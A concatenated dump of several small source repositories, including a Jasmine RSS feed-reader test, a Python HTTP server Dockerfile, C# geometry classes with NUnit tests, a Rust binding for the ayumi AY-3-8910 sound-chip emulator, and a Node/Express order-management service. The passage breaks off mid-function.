});
});
});
/* This test ensures that when a new feed is loaded
* by the loadFeed function the content actually changes.
*/
it('the content should change when a new feed loads', function (done) {
expect(secondFeed === initialFeed).toBe(false);
done();
});
});
}());
<file_sep>/README.md
# Project Overview
This project is a web-based application that reads RSS feeds that is beeing tested using the Jasmine framework.
# Technologies used
- HTML 5
- CSS 3
- Vanilla JavaScript
- Jquery
- Jasmine
# Launching the application
In order to launch the application, clone the project from GitHub on your PC and open in your favorite Browser the index.html file. | a802908da3844b6270f0e8a9eac1968ad2916150 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | moisescualexandru/frontend-nanodegree-feedreader | 6343a0fdde8479ec04b2acca7f20b7f97bf521c9 | 2a63cc9ab54efe6a1b7d7d932cf60f5a3489cf91 |
refs/heads/master | <file_sep>FROM python:3
#FROM debian:stretch
#RUN apt install -y python3
ADD . /home/ubuntu/jenkins/workspace/Git-python-code/
WORKDIR /home/ubuntu/jenkins/workspace/Git-python-code/
#COPY requirment.txt ./
#RUN pip install --no-cache-dir -r requirment.txt
#COPY . .
CMD [ "python", "./helloworld.py" ]
<file_sep>import http.server
import socketserver
PORT = 8890
Handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("hello world!", PORT)
print("python web")
httpd.serve_forever()
| ca73db6d55872ab0f2916b6eac7bc9920a5c268f | [
"Python",
"Dockerfile"
] | 2 | Dockerfile | June-Who/python | d25940b51a5945231d4b47ccd59f142b491ea56e | e2d5fe2ec6813868cd735b76f3fe3080a12102e2 |
refs/heads/master | <file_sep>//= require jquery
//= require jquery_ujs
//= require bootstrap-sprockets
//= require_tree .
$('.carousel').carousel({
interval: false
})
| 95558ace76ba7acc6855e939c739249b6734d2f0 | [
"JavaScript"
] | 1 | JavaScript | GhislainChavanne/fmz | e0a5ee9136f5f246847ce2c0ff10235befda1ac4 | 0b61ddd6bcec3bbb6f49d5a7e2adcbfee7f6caf8 |
refs/heads/master | <file_sep>#!/bin/bash -x
echo "Enter 6 digit pincode"
pinpat="^[0-9]{3}[ ]{0,1}[0-9]{3}$";
read pin
if `[[ $pin =~ $pinpat ]]`
then
echo Valid
else
echo Invalid
fi
| fc5af7528fb462c47075ef502596b3fec194f32b | [
"Shell"
] | 1 | Shell | bhagyashree98/Pin-Code | 311eae023234863ad6e5939cd9b5c0017f7aec1f | e8a4e963603832805d3c7b33f6b4b759f8dbc781 |
refs/heads/master | <file_sep>using System;
using Blank.BaseContracts;
namespace Blank.BaseClasses
{
public class Circle : IFigure
{
public double Perimeter => 2 * Math.PI * Radius;
public double Shape => Math.PI * Math.Pow(Radius, 2);
private double radius;
public double Radius
{
get { return radius; }
set
{
if (value <= 0)
throw new ArgumentOutOfRangeException(nameof(Radius), "Value cannot be lower than zero");
radius = value;
}
}
public Circle(double radius)
{
Radius = radius;
}
}
public class Triangle : IFigure, ITriangle
{
public bool IsRight => PythigoreanRectangularityOfTriangle(cathetusA, cathetusB, hypotenuse, calcEpsilon);
public double Perimeter => cathetusA + cathetusB + hypotenuse;
public double Shape
{
get
{
var p = Perimeter * 0.5;
var square = p * (p - cathetusA) * (p - cathetusB) * (p - hypotenuse);
return Math.Sqrt(square);
}
}
private double cathetusA;
public double CathetusA
{
get { return cathetusA; }
set
{
if (value <= 0)
throw new ArgumentOutOfRangeException(nameof(CathetusA), "Value cannot be lower than zero");
cathetusA = value;
}
}
private double cathetusB;
public double CathetusB
{
get { return cathetusB; }
set
{
if (value <= 0)
throw new ArgumentOutOfRangeException(nameof(CathetusB), "Value cannot be lower than zero");
cathetusB = value;
}
}
private double hypotenuse;
public double Hypotenuse
{
get { return hypotenuse; }
set
{
if (value <= 0)
throw new ArgumentOutOfRangeException(nameof(Hypotenuse), "Value cannot be lower than zero");
hypotenuse = value;
}
}
private double calcEpsilon;
public double CalcEpsilon
{
get { return calcEpsilon; }
set { calcEpsilon = Math.Abs(value); }
}
public Triangle(double cathetusA, double cathetusB, double hypotenuse, double calcEpsilon = 0)
{
CathetusA = cathetusA;
CathetusB = cathetusB;
Hypotenuse = hypotenuse;
CalcEpsilon = Math.Abs(calcEpsilon);
}
public static bool PythigoreanRectangularityOfTriangle(double cathetusA, double cathetusB, double hypotenuse, double epsilon = 0)
{
return (Math.Pow(hypotenuse, 2) - (Math.Pow(cathetusA, 2) + Math.Pow(cathetusB, 2))) <= epsilon;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
namespace Blank.BaseContracts
{
public interface IFigure<T>
{
T Shape { get; }
T Perimeter { get; }
}
public interface IFigure : IFigure<double>
{ }
public interface ITriangle
{
bool IsRight { get; }
}
}
<file_sep>using System;
namespace Blank
{
/// <summary>
/// http://www.sqlfiddle.com/#!18/e327a/4/0
/// </summary>
public class Sql
{
public void ProductsAndCategories()
{
var preQuery =
@"
create table product
(
product_id int identity not null primary key,
name varchar(20),
description varchar(50)
);
insert into product values
('Apple', 'Fruit'),
('Banana', 'Fruit'),
('Watermelon', 'Berry');
create table category
(
category_id int identity not null primary key,
name varchar(50)
);
insert into category values('Cheap'), ('Comedy');
create table product_category_junction
(
product_id int,
category_id int,
CONSTRAINT product_cat_pk PRIMARY KEY (product_id, category_id),
CONSTRAINT FK_product FOREIGN KEY (product_id) REFERENCES product (product_id),
CONSTRAINT FK_category FOREIGN KEY (category_id) REFERENCES category (category_id)
);
insert into product_category_junction
values (1, 1), (2, 2);";
var query =
@"
select p.name ProductName,
c.name CategoryName
from product p
left join product_category_junction pc
on p.product_id = pc.product_id
left join category c
on pc.category_id = c.category_id";
}
}
}
<file_sep>using Blank.BaseClasses;
using Blank.BaseContracts;
using NUnit.Framework;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Blank.UnitTests
{
[TestFixture]
public class UnitTests
{
public Circle GetRandomCircle()
{
Random r = new Random();
var radius = r.NextDouble();
return new Circle(radius);
}
public Triangle GetRandomTriangle(double eps = 0)
{
Random r = new Random();
var catA = r.NextDouble();
var catB = r.NextDouble();
var hyp = r.NextDouble();
return new Triangle(catA, catB, hyp, eps);
}
public Triangle GetPythagoreanTriangle()
{
return new Triangle(3, 4, 5, 0);
}
public IFigure GetFigure()
{
return GetRandomCircle() as IFigure;
}
[Test]
public void CheckThrowsExceptionWhenCircleRadiusIsNegative()
{
Assert.Throws<ArgumentOutOfRangeException>(() => new Circle(-1));
}
[Test]
public void CheckThrowsExceptionWhenOneOfTriangleSidesIsNegative()
{
Assert.Throws<ArgumentOutOfRangeException>(() => new Triangle(1, 1, -5));
Assert.Throws<ArgumentOutOfRangeException>(() => new Triangle(1, -1, 5));
Assert.Throws<ArgumentOutOfRangeException>(() => new Triangle(-1, 1, 5));
}
[Test]
public void CheckTriangleRectangularityPropertyDontWorkForNonRectangular()
{
var t = new Triangle(3, 4, 6);
Assert.True(!t.IsRight,
"Triangle type's 'IsRight' property doesnt work properly for non rectangular samples - got true, must be false");
}
[Test]
public void CheckTriangleRectangularityPropertyDoWorkForRectangular()
{
Assert.True(GetPythagoreanTriangle().IsRight,
"Triangle type's 'IsRight' property doesnt work properly for rectangular sample - got false, must be true");
}
[Test]
public void CheckShapeCalculationWithoutConcreteType()
{
double getShape() => GetFigure().Shape;
Assert.DoesNotThrow(() => getShape());
}
[Test]
public void CheckShapeCalculationOnTriangle()
{
double getShape() => GetRandomTriangle().Shape;
Assert.DoesNotThrow(() => getShape());
}
[Test]
public void CheckShapeCalculationOnCircle()
{
double getShape() => GetRandomCircle().Shape;
Assert.DoesNotThrow(() => getShape());
}
}
}
| 12192d841340a91f3d6513977f27db405ed72d71 | [
"C#"
] | 4 | C# | orihomie/Blank | 3040d7a2a3b2a89812915e961886cd9a2a69e1d9 | d151bd47ddcf871544ab5ed72ac181df7d6c2f3e |
refs/heads/master | <repo_name>pacmancoder/rust-ayumi<file_sep>/README.md
# [DEPRECATED] - Use [`aym`](https://crates.io/crates/aym) crate instead
# rust-ayumi
Rust AY-3-8910 and YM2149 sound chips emulator port.
## Building
For successfull build you must have gcc and git on your computer.
Build script will:
- Run git submodule init
- Compile library with gcc
## Usage
add to your Cargo.toml
```toml
rust-ayumi = "0.1"
```
## Documentation
Wisit [Github pages](https://pacmancoder.github.io/rust-ayumi) of the project or build it with
```bash
cargo doc
```
<file_sep>/build.rs
extern crate gcc;
use std::env;
use std::process::Command;
const AYUMI_PATH: &'static str = "ayumi-lib/ayumi.c";
fn main() {
// init submodules
Command::new("git").args(&["submodule", "update", "--init", "ayumi-lib"])
.current_dir(env::var("CARGO_MANIFEST_DIR").unwrap())
.output().unwrap();
// compile lib
gcc::compile_library("libayumi.a", &[AYUMI_PATH]);
}
<file_sep>/Cargo.toml
[package]
name = "ayumi"
version = "0.1.2"
authors = ["<NAME> <<EMAIL>>"]
build = "build.rs"
links = "ayumi"
[build-dependencies]
gcc = "0.3"
<file_sep>/src/ffi.rs
// The MIT License (MIT)
//
// Copyright (c) 2016 <NAME>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//! Module contains raw c-fucntions and types
//! Generated with rust-bindgen and some moments
//! were fixed after it
#![allow(dead_code)]
use std::os::raw::*;
use std::mem;
// in original c-library enum-constants were used.
// changed to ordinary constants
const TONE_CHANNELS: usize = 3;
const DECIMATE_FACTOR: usize = 8;
const FIR_SIZE: usize = 192;
const DC_FILTER_SIZE: usize = 1024;
#[repr(C)]
#[derive(Copy, Clone)]
#[derive(Debug)]
pub struct ToneChannel {
pub tone_period: c_int,
pub tone_counter: c_int,
pub tone: c_int,
pub t_off: c_int,
pub n_off: c_int,
pub e_on: c_int,
pub volume: c_int,
pub pan_left: c_double,
pub pan_right: c_double,
}
impl Default for ToneChannel {
fn default() -> Self {
unsafe { mem::zeroed() }
}
}
#[repr(C)]
#[derive(Copy, Clone)]
#[derive(Debug)]
pub struct Interpolator {
pub c: [c_double; 4],
pub y: [c_double; 4],
}
impl Default for Interpolator {
fn default() -> Self {
unsafe { mem::zeroed() }
}
}
#[repr(C)]
#[derive(Copy)]
pub struct DCFilter {
pub sum: c_double,
pub delay: [c_double; DC_FILTER_SIZE],
}
impl Clone for DCFilter {
fn clone(&self) -> Self {
*self
}
}
impl Default for DCFilter {
fn default() -> Self {
unsafe { mem::zeroed() }
}
}
#[repr(C)]
#[derive(Copy)]
pub struct Ayumi {
pub channels: [ToneChannel; TONE_CHANNELS],
pub noise_period: c_int,
pub noise_counter: c_int,
pub noise: c_int,
pub envelope_counter: c_int,
pub envelope_period: c_int,
pub envelope_shape: c_int,
pub envelope_segment: c_int,
pub envelope: c_int,
pub dac_table: *const c_double,
pub step: c_double,
pub x: c_double,
pub interpolator_left: Interpolator,
pub interpolator_right: Interpolator,
pub fir_left: [c_double; FIR_SIZE * 2],
pub fir_right: [c_double; FIR_SIZE * 2],
pub fir_index: c_int,
pub dc_left: DCFilter,
pub dc_right: DCFilter,
pub dc_index: c_int,
pub left: c_double,
pub right: c_double,
}
impl Clone for Ayumi {
fn clone(&self) -> Self {
*self
}
}
impl Default for Ayumi {
fn default() -> Self {
unsafe { mem::zeroed() }
}
}
extern "C" {
pub fn ayumi_configure(ay: *mut Ayumi, is_ym: c_int, clock_rate: c_double, sr: c_int);
pub fn ayumi_set_pan(ay: *mut Ayumi, index: c_int, pan: c_double, is_eqp: c_int);
pub fn ayumi_set_tone(ay: *mut Ayumi, index: c_int, period: c_int);
pub fn ayumi_set_noise(ay: *mut Ayumi, period: c_int);
pub fn ayumi_set_mixer(ay: *mut Ayumi, index: c_int, t_off: c_int, n_off: c_int, e_on: c_int);
pub fn ayumi_set_volume(ay: *mut Ayumi, index: c_int, volume: c_int);
pub fn ayumi_set_envelope(ay: *mut Ayumi, period: c_int);
pub fn ayumi_set_envelope_shape(ay: *mut Ayumi, shape: c_int);
pub fn ayumi_process(ay: *mut Ayumi);
pub fn ayumi_remove_dc(ay: *mut Ayumi);
}
<file_sep>/src/lib.rs
// The MIT License (MIT)
//
// Copyright (c) 2016 <NAME>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//! Bindings to *AY-3-8910* and *YM2149* emulation library
//! [ayumi](https://github.com/pacmancoder/ayumi-lib)
#![allow(dead_code)]
#![deny(missing_docs)]
use std::i32;
mod ffi;
/// Emulated chip type
pub enum ChipType {
/// AY-3-8910
AY = 0,
/// YM2149
YM = 1,
}
/// Tone channel id
pub enum ToneChannel {
/// Channel A
A = 0,
/// Channel B
B = 1,
/// Channel C
C = 2,
}
/// Represents tone channel control structure
pub struct ToneDescriptor<'a> {
ayumi: &'a mut Ayumi,
index: i32,
}
impl<'a> ToneDescriptor<'a> {
/// Changes period of current tone channel
/// # Panics
/// When `period` < 0
pub fn period(&mut self, period: i32) -> &mut Self {
assert!(period >= 0);
unsafe {
ffi::ayumi_set_tone(&mut self.ayumi.c_ayumi, self.index, period);
}
self
}
/// Changes pan of current tone channel
/// # Arguments
/// - `pan` - value in range 0...1, which represents pan of channel.
/// `0..1 => left..right`
/// - `equal_power` - flag, which used to enable "equal_power" panning
pub fn pan(&mut self, pan: f64, equal_power: bool) -> &mut Self {
let pan = if pan > 1.0 {
1.0
} else if pan < 0.0 {
0.0
} else {
pan
};
unsafe {
ffi::ayumi_set_pan(&mut self.ayumi.c_ayumi, self.index, pan, equal_power as i32);
}
self
}
/// Changes volume of tone channel
/// # Arguments
/// - `volume` - volume value of cahnnel in range [0...15]
/// # Panics
/// When value is bigger than 15
pub fn volume(&mut self, volume: u8) -> &mut Self {
assert!(volume <=0x0F);
unsafe {
ffi::ayumi_set_volume(&mut self.ayumi.c_ayumi, self.index, volume as i32);
}
self
}
/// Changes mixer flags of channel, use it to enable/disable sources mixing
/// # Arguments
/// - `tone` - tone enable flag
/// - `noise` - noise enable flag
/// - `envelope` - envelope enable flag
pub fn mixer(&mut self, tone: bool, noise: bool, envelope: bool) -> &mut Self {
unsafe {
ffi::ayumi_set_mixer(&mut self.ayumi.c_ayumi,
self.index,
tone as i32,
noise as i32,
envelope as i32);
}
self
}
}
/// Represents noise channel control structure
pub struct NoiseDescriptor<'a> {
ayumi: &'a mut Ayumi,
}
impl<'a> NoiseDescriptor<'a> {
/// Changes period of noise channel
/// # Panics
/// When `period` < 0
/// # Arguments
/// - `period` - noise period
pub fn period(&mut self, period: i32) -> &mut Self {
assert!(period >= 0);
unsafe {
ffi::ayumi_set_noise(&mut self.ayumi.c_ayumi, period);
}
self
}
}
/// Represents envelope control structure
pub struct EnvelopeDescriptor<'a> {
ayumi: &'a mut Ayumi,
}
impl<'a> EnvelopeDescriptor<'a> {
/// Changes period of envelope
/// # Panics
/// When `period` < 0
/// # Arguments
/// - `period` - period of envelope
pub fn period(&mut self, period: i32) -> &mut Self {
assert!(period >= 0);
unsafe {
ffi::ayumi_set_envelope(&mut self.ayumi.c_ayumi, period);
}
self
}
/// Changes envelope shape
/// # Panics
/// When `shape` is bigger than 15 (0x0F)
/// # Arguments
/// - `shape` - value in range [0...15] which represents shape of envelope
pub fn shape(&mut self, shape: u8) -> &mut Self {
assert!(shape <= 0x0F);
unsafe {
ffi::ayumi_set_envelope_shape(&mut self.ayumi.c_ayumi, shape as i32);
}
self
}
}
/// Represents stereo sample
pub struct StereoSample {
/// right channel sample
pub right: f64,
/// left cahnnel sample
pub left: f64,
}
/// Main library structure
/// use `new` function for instance creation
pub struct Ayumi {
c_ayumi: ffi::Ayumi,
}
impl Ayumi {
/// Constructs new Ayumi instance
///
/// # Arguments
/// - `chip` - `ChipType` of emulator
/// - `freq` - clock frequency of chip in Hz
/// - `sample_rate` - samples count per second
///
/// # Panics
/// - `freq` <= 0
/// - `sample_rate` <= 0`
/// - ffi function call error
pub fn new(chip: ChipType, freq: f64, sample_rate: i32) -> Ayumi {
assert!(freq > 0f64);
assert!(sample_rate > 0i32);
let mut c_ayumi = Default::default();
unsafe {
ffi::ayumi_configure(&mut c_ayumi, chip as i32, freq, sample_rate);
}
Ayumi {
c_ayumi: c_ayumi,
}
}
/// Returns tone channel descriptor of type `ToneDescriptor` for configuring it.
pub fn tone<'a>(&'a mut self, channel: ToneChannel) -> ToneDescriptor<'a> {
ToneDescriptor {
ayumi: self,
index: channel as i32,
}
}
/// Returns noise channel descriptor of type `NoiseDescriptor` for configuring it.
pub fn noise<'a>(&'a mut self) -> NoiseDescriptor<'a> {
NoiseDescriptor {
ayumi: self,
}
}
/// Returns envelope descriptor of type `EnvelopeDescriptor` for configuring it.
pub fn envelope<'a>(&'a mut self) -> EnvelopeDescriptor<'a> {
EnvelopeDescriptor {
ayumi: self,
}
}
/// Renders next sample
pub fn process(&mut self) -> &mut Self {
unsafe {
ffi::ayumi_process(&mut self.c_ayumi);
}
self
}
/// Removes the DC offset from the current sample
pub fn remove_dc(&mut self) -> &mut Self {
unsafe {
ffi::ayumi_remove_dc(&mut self.c_ayumi);
}
self
}
/// Returns sound sample of type StereoSample
pub fn sample(&self) -> StereoSample {
StereoSample {
right: self.c_ayumi.right,
left: self.c_ayumi.left,
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn api_test() {
let mut ayumi = Ayumi::new(ChipType::AY, 1_000_000f64, 44100i32);
ayumi.tone(ToneChannel::A).period(440).pan(0.5, false);
ayumi.noise().period(500);
ayumi.envelope().period(600).shape(12);
ayumi.remove_dc();
ayumi.process();
let _ = ayumi.sample();
}
#[test]
#[should_panic]
fn boundaries_test1() {
let mut ayumi = Ayumi::new(ChipType::AY, -10f64, 10);
}
#[test]
#[should_panic]
fn boundaries_test2() {
let mut ayumi = Ayumi::new(ChipType::AY, 10f64, -10);
}
#[test]
#[should_panic]
fn boundaries_test3() {
let mut ayumi = Ayumi::new(ChipType::AY, 1_000_000f64, 44100i32);
ayumi.tone(ToneChannel::A).period(600).volume(16);
}
#[test]
#[should_panic]
fn boundaries_test4() {
let mut ayumi = Ayumi::new(ChipType::AY, 1_000_000f64, 44100i32);
ayumi.noise().period(-10);
}
#[test]
#[should_panic]
fn boundaries_test5() {
let mut ayumi = Ayumi::new(ChipType::AY, 1_000_000f64, 44100i32);
ayumi.envelope().period(10).shape(16);
}
}
| 939a243c90fefb45d6cb8de0da9df770572add06 | [
"Markdown",
"Rust",
"TOML"
] | 5 | Markdown | pacmancoder/rust-ayumi | 943a500e6e13655c9e297a812228ad15225026f5 | 9246b17709a3d249065311ef5a6dcc0af6ac28ec |
refs/heads/master | <repo_name>jreis22/sic-encomendas-g8583<file_sep>/SiCEnc/controllers/itinerarioController.js
var Itinerario = require('../models/itinerarioModel');
var calcularItinerariosService = require('../services/calcularItinerariosService');
exports.calcularItinerarios = function(req, res) {
calcularItinerariosService.calcularItinerarios();
return res.send('Itinerários calculados');
};
exports.listarItinerarios = function(req, res) {
Itinerario.find({}).then(itinerarios => {
res.json(itinerarios);
}).catch(err => {
res.status(400).send(err);
})
};<file_sep>/SiCEnc/controllers/produtoItemController.js
var mongoose = require('mongoose');
var ProdutoItem = require('../models/produtoItemModel');
var ProdRep = require('../repositories/produtoItemRepository');
var ProdServ = require('../services/produtoItemService');
const Promise = require('bluebird');
var validacoes = [ProdServ.itemValidator,
ProdServ.filhosValidator,
ProdServ.validarFilhosObrigatorios];
var validacoesUpdate = [ProdServ.itemValidator,
ProdServ.filhosValidator,
ProdServ.validarFilhosObrigatoriosUpdate]
exports.findAll = function(req, res, next){
ProdRep.findAll().then(function(items){
res.send(items);
});
};
/*
exports.createItem = function(req, res, next){
var item = ProdServ.createModelFromBody(req.body);
ProdutoItem.populate(item, 'filhos', function(err){
/*ProdServ.itemValidator(item)
.then(ProdServ.filhosValidator(item))
//.then(ProdServ.validarFilhosObrigatorios(item))*
Promise.each(validacoes, function(validacao){
return validacao(item);
})
.then(ProdRep.createProdutoItem(req.body).then(function(itemP){
console.log(itemP);
res.send(itemP);
}).catch(next))
.catch(next);
});
};*/
exports.createItem = function(req, res, next){
var item = ProdServ.createModelFromBody(req.body);
ProdutoItem.populate(item, 'filhos', function(err){
/*ProdServ.itemValidator(item)
.then(ProdServ.filhosValidator(item))
//.then(ProdServ.validarFilhosObrigatorios(item))*/
Promise.each(validacoes, function(validacao){
return validacao(item, req, res, next);
}).catch(function(err){
return res.status(400).send(err.message);
})
});
};
exports.deleteProdutoItem = function(req, res, next){
ProdRep.deleteProdutoItemById(req.params.id).then(function(item){
if(item == null) throw new Error("Produto nao existe");
res.json(item);
}).catch(next);
}
exports.findbyId = function(req, res, next) {
ProdRep.findProdutoItemById(req.params.id).then(function(item){
if(item == null) throw new Error("Produto nao existe");
res.json(item);
}).catch(next);
}
exports.updateProdutoItem = function (req, res, next) {
var item = req.body;
ProdutoItem.populate(item, 'filhos', function(err){
Promise.each(validacoesUpdate, function(validacao){
return validacao(item, req, res, next);
}).catch(next);
});
}
<file_sep>/SiCEnc/models/itinerarioModel.js
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var Itinerario = new Schema({
fabrica: String,
itinerario: [String],
custo: Number,
data: { type: Date, default: Date.now }
});
module.exports = mongoose.model('Itinerario', Itinerario);<file_sep>/SiCEnc/services/atribuirFabricaService.js
var Client = require('node-rest-client').Client;
var client = new Client();
var Config = require('../config');
var Encomenda = require('../models/encomendaModel');
const ASSIGNADA = 'Assignada';
exports.atribuirFabricaEncomenda = function(encomenda, callback) {
let url = Config.sicEntregasUrl + 'atribuir_fabrica';
let args = {
data: { cidade: encomenda.cidadeEntrega },
headers: { 'Content-Type': 'application/json' }
};
client.post(url, args, function(data, response) {
if (response.statusCode != 200)
callback(new Error('Erro ao atribuir fábrica a encomenda'));
encomenda.fabricaAtribuida = data;
encomenda.estado = ASSIGNADA;
encomenda.save(function(err, updatedEncomenda) {
if (err)
callback(err);
else
callback(null, updatedEncomenda);
});
});
}<file_sep>/SiCEnc/app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var config = require('./config');
const bodyParser = require('body-parser');
// Set up mongoose connection
const mongoose = require('mongoose');
let dev_db_url = config.sicEncDbUrl;
let mongoDB = process.env.MONGODB_URI || dev_db_url;
mongoose.connect(mongoDB);
mongoose.Promise = global.Promise;
let db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
var indexRouter = require('./routes/index');
var usersRouter = require('./routes/users');
const prodItemRouter = require('./routes/produtoItemRoute');
var encomendaRouter = require('./routes/encomendaRoute');
const pingRouter = require('./routes/ping');
const itinerarioRouter = require('./routes/itinerarioRoute');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jade');
app.use(logger('dev'));
//app.use(express.json());
//app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
var cors = require('cors');
app.use(cors());
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use('/', indexRouter);
app.use('/users', usersRouter);
app.use('/encomenda', encomendaRouter);
app.use('/itemdeproduto', prodItemRouter);
app.use('/itinerario', itinerarioRouter);
app.use('/ping', pingRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
/* experiencia de server
var http = require('http');//create a server object:
http.createServer(function (req, res) {
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
res.end('<h2> Olá mundo! </h2>'); //end the response
}).listen(8080); //the server object listens on port 8080
*/
let port = 8080;
app.listen(port, () => {
console.log('Server is running on port number ' + port);
});<file_sep>/SiCEnc/repositories/produtoItemRepository.js
var mongoose = require('mongoose');
var ProdutoItem = require('../models/produtoItemModel');
exports.createProdutoItem = function(body){
return ProdutoItem.create(body);
};
exports.saveProdutoItem = function(item){
return item.save();
};
exports.deleteProdutoItemById = function(id) {
return ProdutoItem.findByIdAndRemove({ _id: id });
}
exports.findProdutoItemById = function(id) {
return ProdutoItem.findById({_id: id});
}
exports.findAll = function(){
return ProdutoItem.find({});
};
exports.findByIdAndUpdate = function(id, body) {
return ProdutoItem.findOneAndUpdate({_id: id}, body, {new: true, runValidators: true});
}<file_sep>/SiCEnc/models/encomendaModel.js
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var estados = require('./estadoEncomenda');
var Encomenda = new Schema({
cliente : Number,
itens : [{type: Schema.Types.ObjectId, ref: 'ProdutoItem'}],
estado: {
type: String,
enum: estados.estadosArr()
},
cidadeEntrega: String,
fabricaAtribuida: String,
idUtilizador: Number
});
module.exports = mongoose.model('Encomenda', Encomenda);
<file_sep>/SiCEnc/controllers/encomendaController.js
var Encomenda = require('../models/encomendaModel');
var ProdutoItem = require('../models/produtoItemModel');
var atribuirFabricaService = require('../services/atribuirFabricaService');
exports.findAll = function (req, res, next) {
Encomenda.find({}).then(function (itens) {
res.send(itens);
}).catch(next);
};
exports.findOne = function (req, res, next) {
Encomenda.findById({ _id: req.params.id }).then(function (encomenda) {
res.send(encomenda);
}).catch(next);
};
exports.findItensByEncomendaId = function (req, res, next) {
Encomenda.findById({ _id: req.params.id }).then(function (encomenda) {
res.send(encomenda);
}).catch(next);
};
exports.findItensByEncomendaItemId = function (req, res, next) {
Encomenda.findById({ _id: req.params.id }).then(function (encomenda) {
return encomenda.itens;
}).then(function (itens) {
/*itens.findById({_id: req.params.iditem}).then()(function (item) {
res.send(item);
});*/
var auxtemp = req.params.iditem;
var aux = itens.toString().includes(auxtemp);
if (aux) {
ProdutoItem.findById({ _id: req.params.iditem }).then(function (item) {
res.send(item);
})
} else {
res.status(404).send('NOT_FOUND - Não existe esse ID de Item na Encomenda');
}
}).catch(next);
};
exports.createEncomenda = function (req, res, next) {
Encomenda.create(req.body).then(function (encomenda) {
Encomenda.populate(encomenda, 'itens', function(err) {
atribuirFabricaService.atribuirFabricaEncomenda(encomenda, function(err, updatedEncomenda) {
if (err)
return res.status(400).send(new Error('Erro ao registar encomenda'));
else
return res.json(updatedEncomenda);
})
});
}).catch(next);
};
exports.updateEncomenda = function (req, res, next) {
Encomenda.findByIdAndUpdate({_id: req.params.id}, req.body, {new: true}).then(function (encomenda) {
res.send(encomenda);
}).catch(next);
};
exports.deleteEncomenda = function (req, res, next) {
Encomenda.findByIdAndRemove({ _id: req.params.id }).then(function (encomenda) {
res.send(encomenda);
}).catch(next);
}
exports.getEstadosEncomenda = function (req, res, nex) {
res.send(estados.estadosArr());
}<file_sep>/SiCEnc/services/calcularItinerariosService.js
var Config = require('../config');
var Client = require('node-rest-client').Client;
var client = new Client();
var Itinerario = require('../models/itinerarioModel');
var Encomenda = require('../models/encomendaModel');
var schedule = require('node-schedule');
const PRONTA_EXPEDIR = "Pronta a Expedir";
// Todos os domingos, às 23:55 calcula itinerários
var j = schedule.scheduleJob('0 55 23 * * 7', function(){
console.log('hey');
calcularItinerarios();
});
function calcularItinerarios() {
client.get(Config.sicEntregasUrl + 'get_fabricas', function(data, response) {
let fabricas = data;
fabricas.forEach(fabrica => {
getEncomendasFabrica(fabrica, function(encomendas) {
let cidades = listaCidadesEncomendas(encomendas);
if (cidades.length == 0)
return;
cidades.unshift(fabrica); // adicionar fabrica ao início (caminho começa na fábrica)
let args = {
data: cidades,
headers: { 'Content-Type': 'application/json' }
}
client.post(Config.sicEntregasUrl + 'calcular_rota', args, function(postData, response) {
if (response.statusCode == 201 || response.statusCode == 200)
addItinerario(postData);
});
});
});
});
}
function getEncomendasFabrica(fabrica, callback) {
Encomenda.find({ fabricaAtribuida: fabrica, estado: PRONTA_EXPEDIR }, function(err, encomendas) {
if (!err)
callback(encomendas);
});
}
function listaCidadesEncomendas(encomendas) {
return encomendas.map(encomenda => encomenda.cidadeEntrega);
}
function addItinerario(data) {
let custo = data.pop() / 1000; // conversão para Km
